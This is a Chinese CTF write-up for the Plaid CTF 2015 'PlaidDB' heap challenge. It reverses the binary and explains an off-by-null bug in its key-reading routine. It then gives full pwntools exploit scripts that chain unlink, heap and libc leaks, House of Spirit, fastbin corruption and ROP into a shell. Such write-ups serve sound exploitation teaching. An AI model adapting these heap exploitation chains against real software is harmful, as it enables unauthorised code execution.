之前本来想写篇 Off-by-One 相关的,后来感觉理解了思想以后也不需要额外去多折腾什么了。这里记录一道比较复杂的题目。
Binary Analysis
程序保护全开:
➜ Plaid-CTF-2015-PlaidDB checksec ./datastore
[*] '/home/b3ale/Heap-Exploitation/Plaid-CTF-2015-PlaidDB/datastore'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
尝试运行一下程序,大概是模拟了一个数据库,总共有 5 个功能,分别是 GET、PUT、DUMP、DEL 和 EXIT。PUT 用来新增列,读入数据内容时会把换行符("\n"
)也读进来;GET 用来获取对应列的信息;DUMP 获取所有被存入的列;DEL 删除列;EXIT 退出程序:
➜ Plaid-CTF-2015-PlaidDB ./datastore
INFO: Welcome to the PlaidDB data storage service.
INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT
PROMPT: Enter command:
PUT
PROMPT: Enter row key:
AAA
PROMPT: Enter data size:
4
PROMPT: Enter data:
AAAA
INFO: Insert successful.
PROMPT: Enter command:
ERROR: '
' is not a valid command.
PROMPT: Enter command:
GET
PROMPT: Enter row key:
AAA
INFO: Row data [4 bytes]:
AAAAPROMPT: Enter command:
DUMP
INFO: Dumping all rows.
INFO: Row [AAA], 4 bytes
INFO: Row [th3fl4g], 8 bytes
PROMPT: Enter command:
DEL
PROMPT: Enter row key:
th3fl4g
INFO: Delete successful.
PROMPT: Enter command:
DUMP
INFO: Dumping all rows.
INFO: Row [AAA], 4 bytes
PROMPT: Enter command:
EXIT
INFO: Goodbye
先用 IDA 来大概看看函数的大概实现。大体就是菜单题的样子,然后大概是用红黑树对数据进行存储,所以我站在前人的肩膀上把结构体改好了:
struct Node {
char *key;
long data_size;
char *data;
struct Node *left;
struct Node *right;
long dummy;
long dummy1;
}
其中 get 函数一开始获取输入的列名(这里我已经标出了 vulread()
,在后面会再提到),然后遍历红黑树节点,对读入的 key 和指定节点上的 key 进行比较,如果相等的话会输出相应的 data。最后会把 key 的缓存给 free 掉:
void get()
{
char *key; // rbp
struct Node *node; // rbx
int cmp_result; // eax
puts("PROMPT: Enter row key:");
key = vulread();
node = root;
LABEL_2:
if ( node )
{
while ( 1 )
{
cmp_result = strcmp(key, node->key);
if ( cmp_result < 0 )
{
node = node->left;
goto LABEL_2;
}
if ( !cmp_result )
break;
node = node->right;
if ( !node )
goto LABEL_6;
}
__printf_chk(1LL, "INFO: Row data [%zd byte%s]:\n", node->data_size);
fwrite(node->data, 1uLL, node->data_size, stdout);
free(key);
}
else
{
LABEL_6:
puts("ERROR: Row not found.");
free(key);
}
}
在 put 函数中,先读入一个 key,然后读入(saferead 中调用 fgets)数据的长度,然后读入指定长度的字符串(readn 用 read 实现)。最后把读入的结构体添加到红黑树中,在 insert_node 中判断节点是否出现过,若出现过就会 free 掉当前的节点,并更新旧的节点;若没有,则插入红黑树:
void put()
{
void **chunk; // rbx
unsigned __int64 size; // rax
void *buf; // rax
struct Node *v3; // rbp
char size_1[24]; // [rsp+0h] [rbp-38h]
unsigned __int64 canary; // [rsp+18h] [rbp-20h]
canary = __readfsqword(0x28u);
chunk = (void **)malloc(0x38uLL);
if ( !chunk )
goto LABEL_10;
puts("PROMPT: Enter row key:");
*chunk = vulread();
puts("PROMPT: Enter data size:");
saferead(size_1, 16LL);
size = strtoul(size_1, 0LL, 0);
chunk[1] = (void *)size;
buf = malloc(size);
chunk[2] = buf;
if ( !buf )
{
puts("ERROR: Can't store that much data.");
free(*chunk);
if ( __readfsqword(0x28u) == canary )
{
free(chunk);
return;
}
LABEL_10:
puts("FATAL: Can't allocate a row");
exit(-1);
}
puts("PROMPT: Enter data:");
readn(chunk[2], (size_t)chunk[1]);
v3 = (struct Node *)insert_node(chunk);
if ( v3 )
{
free(*chunk);
free(v3->data);
v3->data_size = (__int64)chunk[1];
v3->data = (char *)chunk[2];
free(chunk);
puts("INFO: Update successful.");
}
else
{
puts("INFO: Insert successful.");
}
if ( __readfsqword(0x28u) != canary )
goto LABEL_10;
}
dump 函数后序遍历红黑树并输出列名和数据长度:
struct Node *dump()
{
struct Node *result; // rax
struct Node *node; // rbx
struct Node *n; // rax
puts("INFO: Dumping all rows.");
result = (struct Node *)&root;
node = root;
if ( !root )
return result;
while ( node->left )
node = node->left;
while ( 1 )
{
while ( 1 )
{
node->data_size;
__printf_chk(1LL, "INFO: Row [%s], %zd byte%s\n", node->key);
n = node->right;
if ( !n )
break;
do
{
node = n;
n = n->left;
}
while ( n );
}
result = node->dummy;
if ( !result || node != result->left )
break;
LABEL_15:
node = result;
}
while ( result )
{
if ( node != result->right )
goto LABEL_15;
node = result;
result = result->dummy;
}
return result;
}
最后的 del 函数比较复杂,就不放太多代码了,因为主要操作是从红黑树中删除节点,最后会依次 free 掉节点的 key、节点的 data、节点本身以及输入的 key。不过如果没有找到指定的列,就不会把输入的 key 给 free 掉:
int del()
{
puts("PROMPT: Enter row key:");
key = vulread();
node = root;
LABEL_2:
if ( !node )
{
LABEL_6:
puts("ERROR: Row not found.");
return;
}
while ( 1 )
{
key_1 = node->key;
...
LABEL_69:
LODWORD(n->dummy1) = 0;
LABEL_29:
free(key_1);
free(node->data);
free(node);
free(key);
return puts("INFO: Delete successful.");
}
最后来看 vulread 这里,逐字节读取字符,判断如果读到换行符就 break。如果读入的长度大于 24,则会用 realloc 扩展一倍 chunk 的大小。读完指定长度之后会在字符串最后补上 "\x00"
:
char *vulread()
{
char *buf; // r12
char *end; // rbx
size_t cap; // r14
char c; // al
char c_1; // bp
signed __int64 idx; // r13
char *new_buf; // rax
buf = (char *)malloc(8uLL);
end = buf;
cap = malloc_usable_size(buf); // 24
while ( 1 )
{
c = _IO_getc(stdin);
c_1 = c;
if ( c == -1 )
goodbye();
if ( c == '\n' )
break;
idx = end - buf;
if ( cap <= end - buf )
{
new_buf = (char *)realloc(buf, 2 * cap);
buf = new_buf;
if ( !new_buf )
{
puts("FATAL: Out of memory");
exit(-1);
}
end = &new_buf[idx];
cap = malloc_usable_size(new_buf); // 48
}
*end++ = c_1;
}
*end = 0; // off by one
return buf;
}
再用 ltrace 跟一下,大概地看看发生了哪些 malloc 和 free:
➜ Plaid-CTF-2015-PlaidDB ltrace -e 'malloc+free+realloc+' ./datastore
datastore->malloc(56) = 0x564b295ad010
datastore->malloc(8) = 0x564b295ad050
datastore->malloc(9) = 0x564b295ad070
INFO: Welcome to the PlaidDB data storage service.
INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT
PROMPT: Enter command:
PUT
datastore->malloc(56) = 0x564b295ad090
PROMPT: Enter row key:
datastore->malloc(8) = 0x564b295ad0d0
A
PROMPT: Enter data size:
0
datastore->malloc(0) = 0x564b295ad0f0
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
DEL
PROMPT: Enter row key:
datastore->malloc(8) = 0x564b295ad110
A
datastore->free(0x564b295ad0d0) = <void>
datastore->free(0x564b295ad0f0) = <void>
datastore->free(0x564b295ad090) = <void>
datastore->free(0x564b295ad110) = <void>
INFO: Delete successful.
PROMPT: Enter command:
DUMP
INFO: Dumping all rows.
INFO: Row [th3fl4g], 8 bytes
PROMPT: Enter command:
EXIT
INFO: Goodbye
+++ exited (status 0) +++
Vulnerability Analysis
根据上面的分析,有用的信息大概如下几个:
- 每个节点固定大小(
malloc(56)
); vulread()
函数中有malloc()
和realloc()
,可以用realloc()
获取特定大小的 chunk;vulread()
里存在 Off by Null;- 删除节点时,如果列名不存在,key 所对应的 chunk 不会被 free;
- 往节点中读入数据时的大小可控(
malloc(size)
)。插入节点时会进行判断,若新节点的 key 值不存在,则插入节点;若存在,则依次 free 新的 key、旧的 data、新的节点。存在节点时的 free 顺序如下:
➜ Plaid-CTF-2015-PlaidDB ltrace -e 'malloc+free+realloc+' ./datastore
datastore->malloc(56) = 0x55feff2f2010
datastore->malloc(8) = 0x55feff2f2050
datastore->malloc(9) = 0x55feff2f2070
INFO: Welcome to the PlaidDB data storage service.
INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT
PROMPT: Enter command:
PUT
datastore->malloc(56) = 0x55feff2f2090
PROMPT: Enter row key:
datastore->malloc(8) = 0x55feff2f20d0
A
PROMPT: Enter data size:
2
datastore->malloc(2) = 0x55feff2f20f0
PROMPT: Enter data:
A
INFO: Insert successful.
PROMPT: Enter command:
PUT
datastore->malloc(56) = 0x55feff2f2110
PROMPT: Enter row key:
datastore->malloc(8) = 0x55feff2f2150
A
PROMPT: Enter data size:
2
datastore->malloc(2) = 0x55feff2f2170
PROMPT: Enter data:
B
datastore->free(0x55feff2f2150) = <void>
datastore->free(0x55feff2f20f0) = <void>
datastore->free(0x55feff2f2110) = <void>
INFO: Update successful.
PROMPT: Enter command:
EXIT
INFO: Goodbye
+++ exited (status 0) +++
看过一遍后,漏洞点其实就在 vulread()
中。如果正好读满 24 字节,然后跟上换行,还会在最后面跟上一个 "\x00"
,造成 Off by One(Off by Null)。不过找漏洞还有一种方法。本身程序这里红黑树的操作比较复杂,如果在不知道的情况下单纯地去逆会很难。所以可以对程序进行 Fuzz 来定位漏洞。用 AFL Fuzz 后可以得到会让程序 Crash 的 Payload:
PUT
A
0
DEL
A
PUT
NNNNNN
0
PUT
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
可以看到在 free 的时候提示了 "free(): invalid next size (fast)"
,再经过一系列的调试就能判断出应该是溢出的 Null 字节盖到了下一个 chunk 的 size:
➜ Plaid-CTF-2015-PlaidDB (cat crash.txt ; cat) | ./datastore
INFO: Welcome to the PlaidDB data storage service.
INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
PROMPT: Enter row key:
INFO: Delete successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
GET
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
GET
PROMPT: Enter row key:
AAAAAAAAAAAAAAAAAAAAAAAA
ERROR: Row not found.
cat: -: Resource temporarily unavailable
*** Error in `./datastore': free(): invalid next size (fast): 0x00005555557580d0 ***
这里的 Off by Null 可以溢出盖到下一个 chunk 的 size 的最低一个字节,使得该 chunk 的 size 变小(shrink),同时也把 prev_inuse 置为 0;同时可以设置下一个 chunk 的 prev_size,然后就可以 unlink 拿到某个指针了。画了个草图,这里通过 chunk2 溢出修改 chunk3 的 prev_size 以及覆盖 size 的最低字节为 Null,将 chunk3 的 prev_inuse 置零的同时 shrink:
prev prev
size size size size size
+--------+--------+-------------+--------+------+-+-------------+--------+--------+-------------+
| | XX |chunk1(freed)| XX | XX |0| chunk2 | XX | XX+1|1| chunk3 |
+--------+--------+-------------+--------+------+-+-------------+--------+--------+-------------+
prev
size size
+--------+--------+-------------+--------+--------+-------------+--------+--------+--------+----+
| | | | | |AAAAAAAAAAAAA| 2*XX | YY |0| | |
+--------+--------+-------------+--------+--------+-------------+--------+--------+--------+----+
实现这样的构造之后,可以通过 GET 把 unlink 后的得到的 chunk 覆盖到的节点信息泄漏出来。然后可以把这个 chunk 作为 value,可以读入任意的数据,构造一些指针作为节点的结构体成员,用 GET 就可以任意读,用 PUT 可以任意写。
Exploitation
下面大概记录一下怎么构造出 unlink。首先利用几个 PUT 对堆进行初步的布局:
# Off by Null + Unlink
PUT('3', '')
PUT('0', 'C' * 0x80) # smallbin for unlink
PUT('1', '') # chunk for overflow
PUT('2', '')
PUT('1', 'A' * 0xf8)
结果大概如下,列 '1'
对应的部分会在最后一次 PUT 的时候被替换掉内容,会依次 free 掉 0x3a0、0x2c0、0x360 处的 chunk:
+------------+ 0x0f0 - 0x10
| 0x40 | node '3'
+------------+ 0x130 - 0x10
| 0x20 | '3'
+------------+ 0x150 - 0x10
| 0x20 | ''
+------------+ 0x170 - 0x10
| 0x40 | node '0'
+------------+ 0x1b0 - 0x10
| 0x20 | '0'
+------------+ 0x1d0 - 0x10
| 0x90 | 'C' * 0x80
+------------+ 0x260 - 0x10
| 0x40 | node '1'
+------------+ 0x2a0 - 0x10
| 0x20 | '1'
+------------+ 0x2c0 - 0x10
| 0x20 | '' => [freed]
+------------+ 0x2e0 - 0x10
| 0x40 | node '2'
+------------+ 0x320 - 0x10
| 0x20 | '2'
+------------+ 0x340 - 0x10
| 0x20 | ''
+------------+ 0x360 - 0x10
| 0x40 | node '1' => [freed]
+------------+ 0x3a0 - 0x10
| 0x20 | '1' => [freed]
+------------+ 0x3c0 - 0x10
| 0x100 | 'A' * 0xf8
+------------+
接下来 PUT 列 '2'
中的内容,用于之后的 unlink,同时伪造了一个 fastbin chunk,之后避免之后 shrink+free 后和 top chunk 合并:
PUT('2', 'B' * 0xf8 + p64(0x21) + 'C' * 0x18) # chunk for off-by-null ; fake a fastbin
堆内存大概如下,此时有两个 0x20 的 fastbin 和一个 0x40 的 fastbin:
+------------+ 0x0f0 - 0x10
| 0x40 | node '3'
+------------+ 0x130 - 0x10
| 0x20 | '3'
+------------+ 0x150 - 0x10
| 0x20 | ''
+------------+ 0x170 - 0x10
| 0x40 | node '0'
+------------+ 0x1b0 - 0x10
| 0x20 | '0'
+------------+ 0x1d0 - 0x10
| 0x90 | 'C' * 0x80
+------------+ 0x260 - 0x10
| 0x40 | node '1'
+------------+ 0x2a0 - 0x10
| 0x20 | '1'
+------------+ 0x2c0 - 0x10
| 0x20 | '2' -> [freed]
+------------+ 0x2e0 - 0x10
| 0x40 | node '2'
+------------+ 0x320 - 0x10
| 0x20 | '2'
+------------+ 0x340 - 0x10
| 0x20 | '' => [freed]
+------------+ 0x360 - 0x10
| 0x40 | node '2' => [freed]
+------------+ 0x3a0 - 0x10
| 0x20 | [freed]
+------------+ 0x3c0 - 0x10
| 0x100 | 'A' * 0xf8
+------------+ 0x4c0 - 0x10
| 0x120 | 'B' * 0xf8 + p64(0x21) + 'C' * 0x18
+------------+
然后接下来触发 Off-by-Null,并且:
DEL('1')
DEL('X' * 240 + p64(0x4c0 - 0x1d0)) # off-by-null(shrink) ; set prev_size=752
DEL('0')
DEL('2') # unlink
smallbin 里会产生一块很大的 chunk,接下来就能 overlap 其中的 chunk,进行任意读、任意写:
+------------+ 0x0f0 - 0x10 +------------+
| 0x40 | node '3' | 0x40 |
+------------+ 0x130 - 0x10 +------------+
| 0x20 | '3' | 0x20 |
+------------+ 0x150 - 0x10 +------------+
| 0x20 | '' | 0x20 |
+------------+ 0x170 - 0x10 +------------+
| 0x40 | node '0' => [freed] | 0x40 |
+------------+ 0x1b0 - 0x10 +------------+
| 0x20 | '0' => [freed] | 0x20 |
+------------+ 0x1d0 - 0x10 0x1d0 - 0x10 +------------+
| 0x90 | 'C' * 0x80 => [freed] | 0x3f0 |
+------------+ 0x260 - 0x10 +---- :: ----+
| 0x40 | node '1' => [freed] | :: |
+------------+ 0x2a0 - 0x10 +---- :: ----+
| 0x20 | '1' => [freed] | :: |
+------------+ 0x2c0 - 0x10 +---- :: ----+
| 0x20 | [freed] | :: |
+------------+ 0x2e0 - 0x10 +---- :: ----+
| 0x40 | node '2' => [freed] | :: |
+------------+ 0x320 - 0x10 +---- :: ----+
| 0x20 | '2' => [freed] | :: |
+------------+ 0x340 - 0x10 +---- :: ----+
| 0x20 | [freed] | :: |
+------------+ 0x360 - 0x10 +---- :: ----+
| 0x40 | [freed] | :: |
+------------+ 0x3a0 - 0x10 +---- :: ----+
| 0x20 | [freed] | :: |
+------------+ 0x3c0 - 0x10 0x3c0 - 0x10 +---- :: ----+
| 0x100 | 'X' * 0xf8 'X' * 0xf8 | :: |
+------------+ 0x4c0 - 0x10 +---- :: ----+
| 0x120 | 'B' * 0xf8 + p64(0x21) + 'C' * 0x18 => [freed] | :: |
+------------+ 0x5c0 - 0x10 +------------+
'C' * 0x18 | 0x20 |
+------------+
利用 PUT 泄漏出 heap,并且能构造一个泄漏函数:
# Leak Heap Address
DEL('3') # put a previous node chunk into fastbin
PUT('KEY1', ('A' * 0x108 +
p64(0x40) + p64(0) + 'D' * 0x30 +
p64(0x21) + p64(0) + 'C' * 0x10 +
p64(0x21) + 'KEY1\x00').ljust(1000, 'Q')
)
PUT('LEAKBUF', '')
data = GET('KEY1')
heap_base = u64(data[0x110:0x118]) - 0x150
info('heap_base = ' + hex(heap_base))
# Function for Leaking Memory
def leak(addr, size):
PUT('KEY1', 'A' * 0x3e8)
PUT('KEY1', data[:0x118] + p64(size) + p64(addr) + data[0x128:])
return GET('LEAKBUF')
LEAKBUF 在内存中的布局如下,LEAKBUF 的结构体中的 data 和 data_size 可以被 overlap,再用 PUT 泄漏:
+------------+ 0x0f0 - 0x10
| 0x40 | node '3' => [freed] => node 'KEY1'
+------------+ 0x130 - 0x10
| 0x20 | '3' => [freed] => ''
+------------+ 0x150 - 0x10
| 0x20 | '' => [freed] => 'LEAKBUF'
+------------+ 0x170 - 0x10
| 0x40 | [freed]
+------------+ 0x1b0 - 0x10
| 0x20 | [freed]
+------------+ 0x1d0 - 0x10
| 0x3f0 | [freed] => chunk
+---- :: ----+ 0x260 - 0x10
| :: | [freed]
+---- :: ----+ 0x2a0 - 0x10
| :: | [freed]
+---- :: ----+ 0x2c0 - 0x10
| :: | [freed]
+---- :: ----+ 0x2e0 - 0x10
| [0x40] | [freed] => node 'LEAKBUF'
+---- :: ----+ 0x320 - 0x10
| [0x20] | [freed]
+---- :: ----+ 0x340 - 0x10
| [0x20] | [freed] => 'KEY1'
+---- :: ----+ 0x360 - 0x10
| :: | [freed]
+---- :: ----+ 0x3a0 - 0x10
| :: | [freed]
+---- :: ----+ 0x3c0 - 0x10
| :: | 'X' * 0xf8
+---- :: ----+ 0x4c0 - 0x10
| :: | [freed]
+------------+ 0x5c0 - 0x10
| 0x20 | 'C' * 0x18
+------------+
接下来构造一个假的 fastbin chunk 来进行 House-of-Spirit,然后改掉它的 fd 指针:
# House of Spirit + Fastbin Corruption + ROP
PUT('KEY1', 'A' * 0x3e8)
PUT('KEY1', ('A' * 0x108 +
p64(0x40) + p64(heap_base + 0x3e0) + # point LEAKBUF's key to 'P\x00'
p64(0x64) + p64(0) + p64(0) + p64(0) + p64(0) +
p64(0x40) + p64(0x40) + 'KEY1\x00'.ljust(0x38, 'A') + # 0x358
p64(0x40) + 'A' * 0x78 + # 0x3d8
p64(0x40) + 'P\x00'.ljust(0x38, 'A') + p64(0x41)).ljust(0x3e8, 'Q')
)
DEL('P') # house of spirit
DEL('KEY1')
PUT('KEY1', ('A' * 0x108 +
p64(0x40) + p64(heap_base + 0x3e0) +
p64(0x64) + p64(0) + p64(0) + p64(0) + p64(0) +
p64(0x40) + p64(0x40) + p64(fake_chunk_addr) + 'A' * 0x30 +
p64(0x40) + 'A' * 0x78 + # 0x3d8
p64(0x40) + 'A' * 0x40 + # 0x420
p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)).ljust(0x3e8, 'Q') # place gadgets
) # fastbin corruption
最后这里堆布局比较复杂,大概就是伪造一个 fastbin 然后再改它的指针,后面就能取到指针对应的 fake chunk:
+------------+ 0x0f0 - 0x10
| 0x40 | node 'KEY1'
+------------+ 0x130 - 0x10
| 0x20 | ''
+------------+ 0x150 - 0x10
| 0x20 | 'LEAKBUF'
+------------+ 0x170 - 0x10
| 0x40 | [freed]
+------------+ 0x1b0 - 0x10
| 0x20 | [freed]
+------------+ 0x1d0 - 0x10
| 0x3f0 | chunk
+---- :: ----+ 0x260 - 0x10
| :: | [freed]
+---- :: ----+ 0x2a0 - 0x10
| :: | [freed]
+---- :: ----+ 0x2c0 - 0x10
| :: | [freed]
+---- :: ----+ 0x2e0 - 0x10
| [0x40] | node 'LEAKBUF'
+---- :: ----+ 0x320 - 0x10
| [0x20] | [freed]
+---- :: ----+ 0x340 - 0x10
| [0x20] | 'KEY1' => fake_chunk_addr
+---- :: ----+ 0x360 - 0x10
| :: | [freed]
+---- :: ----+ 0x3a0 - 0x10
| :: | [freed]
+---- :: ----+ 0x3c0 - 0x10
| [0x40] | 'X' * 0xf8 => 'P\x00' => 'A' * 0x40 + gadgets
+---- :: ----+ 0x4c0 - 0x10
| :: | [freed]
+------------+ 0x5c0 - 0x10
| 0x20 | 'C' * 0x18
+------------+
最后用 PUT 里的任意大小 malloc 取一个大小为 56 的 chunk。前面构造的 fd 指针位置指向读进去的 data_size 存储的位置,因为程序用的是 strtoul,所以送出去的字符串都会被存在栈上,就能构造一个大小合适的 chunk。为了绕过对 main_arena 的检查,把 fake chunk 的 IS_MMAP 标志位开启:
cmd('PUT')
p.recvuntil('Enter row key:')
p.sendline('KEY1')
p.recvuntil('Enter data size:')
p.send('56'.ljust(8, ' ') + p64(0x42))
p.recvuntil('PROMPT: Enter data:')
p.send(('A' * 7 + p64(canary) + 'A' * 0x10 + p64(fake_rbp) + p64(leave_ret)).ljust(55, 'A'))
最后送 data 的时候不是补成 55 是因为前面用 fgets 读 data_size 的时候最后面多补了个 "\x00"
:
0x7fff7e985540: 0x2020202020203635 0x0000000000000042
0x7fff7e985550: 0x4141414141414100 0xa5f15260d1090900
0x7fff7e985560: 0x4141414141414141 0x4141414141414141
0x7fff7e985570: 0x00005560f2703418 0x00007ff1b1cc9a9e
0x7fff7e985580: 0x4141414141414141 0xa5f15260d1090900
在 CTF-Wiki 上还有另外一种更简洁的做法,先造一堆 fastbin,接着构造 chunk。最后用 fastbin attack 改 malloc_hook:
datastore->malloc(56) = 0x55ac13f22010
datastore->malloc(8) = 0x55ac13f22050
datastore->malloc(9) = 0x55ac13f22070
datastore->malloc(56) = 0x55ac13f22090 => 'X' * 0x200
datastore->malloc(8) = 0x55ac13f220d0
datastore->malloc(56) = 0x55ac13f220f0
datastore->malloc(56) = 0x55ac13f22130
datastore->malloc(8) = 0x55ac13f22170
datastore->malloc(56) = 0x55ac13f22190
datastore->malloc(56) = 0x55ac13f221d0
datastore->malloc(8) = 0x55ac13f22210
datastore->malloc(56) = 0x55ac13f22230
datastore->malloc(56) = 0x55ac13f22270
datastore->malloc(8) = 0x55ac13f222b0
datastore->malloc(56) = 0x55ac13f222d0
datastore->malloc(56) = 0x55ac13f22310
datastore->malloc(8) = 0x55ac13f22350
datastore->malloc(56) = 0x55ac13f22370
datastore->malloc(56) = 0x55ac13f223b0
datastore->malloc(8) = 0x55ac13f223f0 => '6'
datastore->malloc(56) = 0x55ac13f22410
datastore->malloc(56) = 0x55ac13f22450
datastore->malloc(8) = 0x55ac13f22490 => '4' => [freed] => 'fillup2'
datastore->malloc(56) = 0x55ac13f224b0 => [freed] => node 'fillup2'
datastore->malloc(56) = 0x55ac13f224f0 => node '4' => [freed] => node 'fillup1'
datastore->malloc(8) = 0x55ac13f22530 => '3' => [freed]
datastore->malloc(56) = 0x55ac13f22550 => node '6'
datastore->malloc(56) = 0x55ac13f22590 => node '5' => [freed]
datastore->malloc(8) = 0x55ac13f225d0 => '5' => [freed]
datastore->malloc(56) = 0x55ac13f225f0 => node '3' => [freed]
datastore->malloc(56) = 0x55ac13f22630 => node '1' => [freed]
datastore->malloc(8) = 0x55ac13f22670 => '2'
datastore->malloc(56) = 0x55ac13f22690 => node '2'
datastore->malloc(8) = 0x55ac13f226d0 => '1' => [freed] => 'fillup1'
datastore->malloc(512) = 0x55ac13f226f0 => '1' * 0x200 => [freed] <= unlink pointer => 'X' * 0x200
datastore->malloc(80) = 0x55ac13f22900 => '2' * 0x50
datastore->malloc(104) = 0x55ac13f22960 => '5' * 0x68 => [freed] <= overlap fd
datastore->malloc(504) = 0x55ac13f229d0 => '3' * 0x1f8 => [freed] => 'A' * 0x1f0 + p64(0xdb0 - 0x6f0)
datastore->malloc(240) = 0x55ac13f22bd0 => '4' * 0xf0 => [freed]
datastore->malloc(1024) = 0x55ac13f22cd0 => '6' * 0x400
Exploit Script
第一种方法的 Exploit 主要是跟着 Winesap 做的:
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
local = 0
if local:
p = process('./datastore')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('127.0.0.1', 4000)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def cmd(c):
p.recvuntil('Enter command:')
p.sendline(c)
def PUT(key, data):
cmd('PUT')
p.recvuntil('Enter row key:')
p.sendline(key)
p.recvuntil('Enter data size:')
p.sendline(str(len(data)))
p.recvuntil('PROMPT: Enter data:')
p.send(data)
def DEL(key):
cmd('DEL')
p.recvuntil('Enter row key:')
p.sendline(key)
def GET(key):
cmd('GET')
p.recvuntil('Enter row key:')
p.sendline(key)
p.recvuntil(' bytes]:\n')
return p.recvuntil('PROMPT: ')[:-8]
PUT('MMAP', 'Z' * 0x21000)
# Off by Null + Unlink
PUT('3', '')
PUT('0', 'C' * 0x80) # smallbin for unlink
PUT('1', '') # chunk for overflow
PUT('2', '')
PUT('1', 'A' * 0xf8)
PUT('2', 'B' * 0xf8 + p64(0x21) + 'C' * 0x18) # chunk for off-by-null ; fake a fastbin
DEL('1')
DEL('X' * 240 + p64(0x4c0 - 0x1d0)) # off-by-null(shrink) ; set prev_size
DEL('0')
DEL('2') # unlink
#raw_input('@')
# Leak Heap Address
DEL('3') # put a previous node chunk into fastbin
PUT('KEY1', ('A' * 0x108 +
p64(0x40) + p64(0) + 'D' * 0x30 +
p64(0x21) + p64(0) + 'C' * 0x10 +
p64(0x21) + 'KEY1\x00').ljust(1000, 'Q')
)
PUT('LEAKBUF', '')
data = GET('KEY1')
heap_base = u64(data[0x110:0x118]) - 0x150
info('heap_base = ' + hex(heap_base))
#raw_input('@')
# Function for Leaking Memory
def leak(addr, size):
PUT('KEY1', 'A' * 0x3e8)
PUT('KEY1', data[:0x118] + p64(size) + p64(addr) + data[0x128:])
return GET('LEAKBUF')
mmap_chunk = u64(leak(heap_base + 0xa0, 8)) - 0x10
info('mmap_chunk = ' + hex(mmap_chunk))
libc_base = u64(leak(mmap_chunk + 0x22000 + 0x750, 8)) - 0x5dc740
info('libc_base = ' + hex(libc_base))
canary = u64(leak(mmap_chunk + 0x22000 + 0x768, 8))
info('canary = ' + hex(canary))
stack_addr = u64(leak(mmap_chunk + 0x22000 + 0xa40, 8))
info('stack_addr = ' + hex(stack_addr))
#raw_input('@')
# find Gadgets & Buffer
pop_rdi_ret = libc_base + libc.search(asm('pop rdi ; ret')).next()
leave_ret = libc_base + libc.search(asm('leave ; ret')).next()
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
info('pop_rdi_ret = ' + hex(pop_rdi_ret))
info('leave_ret = ' + hex(leave_ret))
info('system_addr = ' + hex(system_addr))
info('bin_sh_addr = ' + hex(bin_sh_addr))
fake_chunk_addr = stack_addr - 0x90
fake_rbp = heap_base + 0x420 - 8
#raw_input('@')
# House of Spirit + Fastbin Corruption + ROP
PUT('KEY1', 'A' * 0x3e8)
PUT('KEY1', ('A' * 0x108 +
p64(0x40) + p64(heap_base + 0x3e0) + # point LEAKBUF's key to 'P\x00'
p64(0x64) + p64(0) + p64(0) + p64(0) + p64(0) +
p64(0x40) + p64(0x40) + 'KEY1\x00'.ljust(0x38, 'A') + # 0x358
p64(0x40) + 'A' * 0x78 + # 0x3d8
p64(0x40) + 'P\x00'.ljust(0x38, 'A') + p64(0x41)).ljust(0x3e8, 'Q')
)
DEL('P') # house of spirit
DEL('KEY1')
#raw_input('@')
PUT('KEY1', ('A' * 0x108 +
p64(0x40) + p64(heap_base + 0x3e0) +
p64(0x64) + p64(0) + p64(0) + p64(0) + p64(0) +
p64(0x40) + p64(0x40) + p64(fake_chunk_addr) + 'A' * 0x30 +
p64(0x40) + 'A' * 0x78 + # 0x3d8
p64(0x40) + 'A' * 0x40 + # 0x420
p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)).ljust(0x3e8, 'Q') # place gadgets
) # fastbin corruption
#raw_input('@')
cmd('PUT')
p.recvuntil('Enter row key:')
p.sendline('KEY1')
p.recvuntil('Enter data size:')
p.send('56'.ljust(8, ' ') + p64(0x42))
p.recvuntil('PROMPT: Enter data:')
#raw_input('@')
p.send(('A' * 7 + p64(canary) + 'A' * 0x10 + p64(fake_rbp) + p64(leave_ret)).ljust(55, 'A'))
p.recvuntil('INFO: Update successful.\n')
p.interactive()
另一种做法:
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
local = 1
if local:
p = process('./datastore')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('127.0.0.1', 4000)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def cmd(c):
p.recvuntil('Enter command:')
p.sendline(c)
def PUT(key, data):
cmd('PUT')
p.recvuntil('Enter row key:')
p.sendline(key)
p.recvuntil('Enter data size:')
p.sendline(str(len(data)))
p.recvuntil('PROMPT: Enter data:')
p.send(data)
def DEL(key):
cmd('DEL')
p.recvuntil('Enter row key:')
p.sendline(key)
def GET(key):
cmd('GET')
p.recvuntil('Enter row key:')
p.sendline(key)
p.recvuntil(' bytes]:\n')
return p.recvuntil('PROMPT: ')[:-8]
for i in range(10):
PUT(str(i), str(i) * 0x38)
for i in range(10):
DEL(str(i))
PUT('1', '1' * 0x200)
PUT('2', '2' * 0x50)
PUT('5', '5' * 0x68)
PUT('3', '3' * 0x1f8)
PUT('4', '4' * 0xf0)
PUT('6', '6' * 0x400)
DEL('5')
DEL('3')
DEL('1')
DEL('A' * 0x1f0 + p64(0xbd0 - 0x6f0)) # off-by-null + shrink
DEL('4') # unlink
PUT('fillup1', 'X' * 0x200)
PUT('fillup2', 'X' * 0x200)
data = GET('2')
libc_base = u64(data[:8]) - 0x3c27b8
info('libc_base = ' + hex(libc_base))
#raw_input('@')
